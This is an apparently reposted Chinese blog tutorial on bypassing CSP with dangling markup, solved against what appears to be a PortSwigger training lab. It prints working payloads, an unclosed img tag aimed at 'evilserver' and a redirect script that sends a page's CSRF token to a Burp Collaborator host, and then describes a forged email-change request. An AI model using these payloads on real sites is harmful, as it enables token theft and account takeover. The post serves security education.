绕过CSP之Dangling markup技术

同源策略(Same Origin Policy)

同源策略是一种约定, 他是浏览器最核心也是最基本的安全功能。如果缺少了同源策略, 浏览器的正常功能可能会受到影响, 比如XSS、CSRF攻击等。

浏览器的同源策略, 限制了来自不同源的"document" 或者脚本, 对当前的"document"读取或设置某些属性。.

这一策略极其重要, 设想一下, 如果没有同源策略, 可能 example1.com 的一段JavaScript脚本, 在example2.com未曾加载此脚本时, 也可以随意涂改example2.com的页面, 为了不让浏览器的页面行为发生混乱, 浏览器增加了"Origin"(源)这一概念, 来自不同Origin的对象无法相互干扰。

CSP(Content-Security-Policy)

在Firefox4中推出了CSP(Content-Security-Policy)。这一策略的做法是由服务器端返回一个HTTP头, 并在其中描述页面应该遵守的安全策略:

X-Content-Security-Policy: allow 'self' *.example.com

浏览器将信任来自其子域以及example.com下的内容。

又如:

X-Content-Security-Policy: allow 'self'; img-src *; script-src www.example.com

浏览器除了信任自身的来源以外, 还可以加载任意域的图片, 来自www.example.com的脚本, 其他的则一律拒绝。

CSP的设计无疑是出色的, 但是CSP的规则配置较为复杂, 在页面较多的情况下, 很难一个个配置起来, 且后期的维护成本也非常巨大, 从而导致CSP未能得到很好的推广。

Dangling markup技术

Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它非常有用。其思想是插入一些未完成状态的部分HTML,例如图像标记的src属性,页面上的其余标记关闭该属性,但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。

例如,我们在反射型XSS注入点上注入这样一个img标签:

<img src="https://evilserver/?

则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。

实战1

在一个修改用户邮件的页面, 目标是完成CSRF修改任意用户的邮箱到指定的邮箱:

发现html源码中email参数在URL中可控:

于是成功绕出value属性的闭合, 但是并不会加载注入的xss代码:

怀疑可能是由于CSP策略, js脚本被阻断了:

可以看到CSP策略规定了只能加载子域下的资源以及脚本, 还运行了所有域的图片资源。

所以刚刚的js代码就不能加载, 因为CSP策略只允许加载当前域下的js脚本。

再看看修改邮箱的URL:

是一个POST请求, 提交了email和csrf值, 只要我们能够窃取用户的csrf值, 就可以达到任意修改用户邮箱地址的目的。

思路

1. 先盗取用户的Anti-Token值

2. 在窃取成功指定用户的Token后, 发送一个自动POST修改邮箱操作的html页面给用户, 从而完成攻击。

明确思路之后, 首先开始第一点: 

  • 窃取用户的Anti-Token值

这里就利用到 Dangling markup技术 配合 反射型XSS漏洞 组合拳了, 

观察反射型XSS的注入点, 发现注入点下面就有Anti-Token值:

这样就可以用Dangling markup技术来将Token值发送到攻击者的服务器上,

具体的做法就是写一个html页面, 这个页面的功能是用Dangling markup技术将Token值发送到攻击者服务器上, 将这个html页面发送给受害者即可:

xss1.html

<script>
location='https://acf81f431ed1930580b8083c005e006a.web-security-academy.net/email?email=123%22%3E%3Ctable%20background=%27//vhgd4ppjyxk6pkfjbk3lbmombdh35s.burpcollaborator.net?';
</script>

https://acf81f431ed1930580b8083c005e006a.web-security-academy.net/email?email= 为受害者服务器的反射型XSS注入点;

vhgd4ppjyxk6pkfjbk3lbmombdh35s.burpcollaborator.net 为攻击者的服务器, 窃取的Token将发送到这里。

为什么可以窃取到Token呢?

这就要归功与Dangling markup技术了, 我们观察注入之后的网页源码:

在background值的后面, 利用了?符合将后面的页面代码或者页面内容都作为URL的一部分解析了; 同时, 攻击者服务器vhgd4ppjyxk6pkfjbk3lbmombdh35s.burpcollaborator.net 同步记录者所有来自任何服务器的请求记录, 并且! (划重点) 窃取的内容被作为参数传入了URL中, 成为了解析参数的一部分, 窃取的值将会出现在攻击者服务器的记录中!

我们用Burpsuite自带的 Burp Collaborator client 作为一个攻击者服务器, 它会自动记录来自任何服务器的请求/解析记录:

加入我们利用刚刚的做法, 在 Burp Collaborator client中就可以看到请求/解析记录了:

验证成功后, 就把 ss1.html 发送给受害者, 当受害者点击后就可以自动窃取该用户的Token值了:

 

拿到Token值:   EkTfPv60Q6WCl8vmr5y8Y7uceYlZ8w46然后就可以进行第二步

  • 发送一个自动POST修改邮箱操作的html页面给用户

这里我们用Burpsuite自带的POC生成工具

抓包修改邮箱的包:

自动生成CSRF的POC:

将csrf的值改为刚刚窃取到的Token值, 并且修改要修改的邮箱为恶意邮箱;

再选择自动提交, Regenerate 页面:

最后将此页面发送给受害者即可自动完成修改邮箱的攻击:

猜你喜欢

转载自blog.csdn.net/angry_program/article/details/106441323
今日推荐